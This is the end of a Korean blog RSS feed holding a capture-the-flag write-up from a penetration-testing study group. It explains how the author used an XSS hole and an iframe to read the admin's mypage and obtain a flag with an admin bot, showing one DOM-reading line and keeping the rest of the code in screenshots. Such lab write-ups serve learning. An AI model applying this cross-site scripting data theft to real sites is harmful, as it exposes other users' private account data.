&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Steal Info 2 는 admin 게정의 마이페이지의 정보란에 flag가 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;숨겨져있습니다. 한번 찾아보겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 XSS 취약점을 체크 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인결과 게시판에 XSS 취약점이 있습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;여기는 1번과 비슷한 과정을 해보겠습니다&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;document.getElementsByName('info')[0].placeholder;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;Noting.here. 여기에 있을 것 같으니 체크 해보겠습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;아마 기존 코드를 응용하면 될 것 같습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI5z8h/dJMcai9NtzC/3HBGjqpmtq7k0s2OegDMhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI5z8h/dJMcai9NtzC/3HBGjqpmtq7k0s2OegDMhK/img.png&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;362&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.8558%; margin-right: 10px;&quot; data-widthpercent=&quot;52.47&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI5z8h/dJMcai9NtzC/3HBGjqpmtq7k0s2OegDMhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI5z8h%2FdJMcai9NtzC%2F3HBGjqpmtq7k0s2OegDMhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;715&quot; height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dSq9EP/dJMcaiIJONN/8Kk4PETYij9W6dvBo7cPS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dSq9EP/dJMcaiIJONN/8Kk4PETYij9W6dvBo7cPS1/img.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;361&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.9814%;&quot; data-widthpercent=&quot;47.53&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dSq9EP/dJMcaiIJONN/8Kk4PETYij9W6dvBo7cPS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdSq9EP%2FdJMcaiIJONN%2F8Kk4PETYij9W6dvBo7cPS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;ifaram이용하여 마이페이지를 로드한다음&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;39&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/89gv8/dJMcafed1me/pQ5UpWk7UTDLBE5gfOkoPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/89gv8/dJMcafed1me/pQ5UpWk7UTDLBE5gfOkoPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/89gv8/dJMcafed1me/pQ5UpWk7UTDLBE5gfOkoPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F89gv8%2FdJMcafed1me%2FpQ5UpWk7UTDLBE5gfOkoPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;39&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;39&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;ifaram이용하여 마이페이지를 로드하고 document 객체를 이용하여&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;noting here를 targetFrame에 담아 확인을 했습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/leYW7/dJMcab3W7eT/ldHG4S6o8avlnuWkW77wdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/leYW7/dJMcab3W7eT/ldHG4S6o8avlnuWkW77wdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/leYW7/dJMcab3W7eT/ldHG4S6o8avlnuWkW77wdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FleYW7%2FdJMcab3W7eT%2FldHG4S6o8avlnuWkW77wdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;516&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1172&quot; data-origin-height=&quot;207&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lt437/dJMcacPkhyC/SWFxPHAzm40eHErwQA5dy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lt437/dJMcacPkhyC/SWFxPHAzm40eHErwQA5dy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lt437/dJMcacPkhyC/SWFxPHAzm40eHErwQA5dy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLt437%2FdJMcacPkhyC%2FSWFxPHAzm40eHErwQA5dy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1172&quot; height=&quot;207&quot; data-origin-width=&quot;1172&quot; data-origin-height=&quot;207&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baO0Y8/dJMcafkY1Sw/kMXfZmh5o7VHolK1R6Qh1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baO0Y8/dJMcafkY1Sw/kMXfZmh5o7VHolK1R6Qh1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baO0Y8/dJMcafkY1Sw/kMXfZmh5o7VHolK1R6Qh1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaO0Y8%2FdJMcafkY1Sw%2FkMXfZmh5o7VHolK1R6Qh1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;531&quot; height=&quot;172&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;admin 계정 정보를 봐야하니 user=?? 에 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;데이터를 담고 실행해줬습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;나머지 코드는 steal info 1 에서 참고해서 만들었습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;관리자 봇을 이용하니 falg 까지 얻을 수 있었습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/44</guid>
      <comments>https://thjkl2004.tistory.com/44#entry44comment</comments>
      <pubDate>Wed, 7 Jan 2026 00:16:09 +0900</pubDate>
    </item>
  </channel>
</rss>